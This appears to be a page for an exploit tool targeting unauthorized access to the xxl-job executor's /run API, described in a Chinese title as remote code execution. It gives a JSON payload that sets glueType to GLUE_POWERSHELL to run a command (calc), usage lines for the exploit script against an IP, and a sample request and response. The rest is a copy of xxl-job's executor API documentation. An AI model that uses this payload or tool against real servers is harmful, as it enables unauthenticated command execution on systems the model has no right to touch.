xxl-job执行器RESTful API未授权访问RCE攻击利用工具

{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_POWERSHELL","glueSource": "calc","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

python3 xxl-job-rce.py [IP Address] -p [Prot(default9999)] -c [Command] -m[Ccript Method(default powershell)]'python3 xxl-job-poc.py 192.168.229.146 -c calcpython3 xxl-job-poc.py 192.168.229.146 -c calc -m shell -p 9999

POST/run HTTP/1.1Host: 127.0.0.1:9999Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

HTTP/1.1 200 OKcontent-type: text/html;charset=UTF-8content-length: 646{"code": 500,"msg": "request error:java.lang.NullPointerExceptionat com.xxl.job.core.biz.impl.ExecutorBizImpl.run(ExecutorBizImpl.java:49)at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.process(EmbedServer.java:201)at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.access$200(EmbedServer.java:138)at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler$1.run(EmbedServer.java:166)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)at java.lang.Thread.run(Thread.java:745)"}

    说明：执行器执行完任务后，回调任务结果时使用    ------    地址格式：{调度中心跟地址}/callbackHeader：        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下，放置在 RequestBody 中，JSON格式：[{"logId":1,              // 本次调度日志ID"logDateTim":0,         // 本次调度日志时间"executeResult":{"code": 200,        // 200 表示任务执行正常，500表示失败"msg": null            }        }]    响应数据格式：        {          "code": 200,      // 200 表示正常、其他失败"msg": null      // 错误提示消息        }

    说明：执行器注册时使用，调度中心会实时感知注册成功的执行器并发起任务调度    ------    地址格式：{调度中心跟地址}/registryHeader：        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下，放置在 RequestBody 中，JSON格式：        {            "registryGroup":"EXECUTOR",                     // 固定值"registryKey":"xxl-job-executor-example",       // 执行器AppName"registryValue":"http://127.0.0.1:9999/"        // 执行器地址，内置服务跟地址        }    响应数据格式：        {          "code": 200,      // 200 表示正常、其他失败"msg": null      // 错误提示消息        }

    说明：执行器注册摘除时使用，注册摘除后的执行器不参与任务调度与执行    ------    地址格式：{调度中心跟地址}/registryRemoveHeader：        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下，放置在 RequestBody 中，JSON格式：        {            "registryGroup":"EXECUTOR",                     // 固定值"registryKey":"xxl-job-executor-example",       // 执行器AppName"registryValue":"http://127.0.0.1:9999/"        // 执行器地址，内置服务跟地址        }    响应数据格式：        {          "code": 200,      // 200 表示正常、其他失败"msg": null      // 错误提示消息        }

说明：调度中心检测执行器是否在线时使用------地址格式：{执行器内嵌服务跟地址}/beatHeader：    XXL-JOB-ACCESS-TOKEN : {请求令牌}请求数据格式如下，放置在 RequestBody 中，JSON格式：响应数据格式：    {      "code": 200,      // 200 表示正常、其他失败     }

    说明：调度中心检测指定执行器上指定任务是否忙碌（运行中）时使用    ------    地址格式：{执行器内嵌服务跟地址}/idleBeatHeader：        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下，放置在 RequestBody 中，JSON格式：        {            "jobId":1       // 任务ID        }    响应数据格式：        {          "code": 200,      // 200 表示正常、其他失败"msg": null       // 错误提示消息        }

    说明：触发任务执行    ------    地址格式：{执行器内嵌服务跟地址}/run    Header：        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下，放置在 RequestBody 中，JSON格式：        {"jobId":1,                                  // 任务ID"executorHandler":"demoJobHandler",         // 任务标识"executorParams":"demoJobHandler",          // 任务参数"executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略，可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum"executorTimeout":0,                        // 任务超时时间，单位秒，大于零时生效"logId":1,                                  // 本次调度日志ID"logDateTime":1586629003729,                // 本次调度日志时间"glueType":"BEAN",                          // 任务模式，可选值参考 com.xxl.job.core.glue.GlueTypeEnum"glueSource":"xxx",                         // GLUE脚本代码"glueUpdatetime":1586629003727,             // GLUE脚本更新时间，用于判定脚本是否变更以及是否需要刷新"broadcastIndex":0,                         // 分片参数：当前分片"broadcastTotal":0                          // 分片参数：总分片        }    响应数据格式：        {"code": 200,      //200 表示正常、其他失败"msg": null       // 错误提示消息        }

    说明：终止任务    ------    地址格式：{执行器内嵌服务跟地址}/killHeader：        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下，放置在 RequestBody 中，JSON格式：        {            "jobId":1       // 任务ID        }    响应数据格式：        {          "code": 200,      // 200 表示正常、其他失败"msg": null       // 错误提示消息        }

    说明：终止任务，滚动方式加载    ------    地址格式：{执行器内嵌服务跟地址}/log    Header：        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下，放置在 RequestBody 中，JSON格式：        {"logDateTim":0,     // 本次调度日志时间"logId":0,          // 本次调度日志ID"fromLineNum":0     // 日志开始行号，滚动加载日志        }    响应数据格式：        {"code":200,         //200 表示正常、其他失败"msg": null         // 错误提示消息"content":{"fromLineNum":0,        // 本次请求，日志开始行数"toLineNum":100,        // 本次请求，日志结束行号"logContent":"xxx",     // 本次请求日志内容"isEnd":true            // 日志是否全部加载完            }        }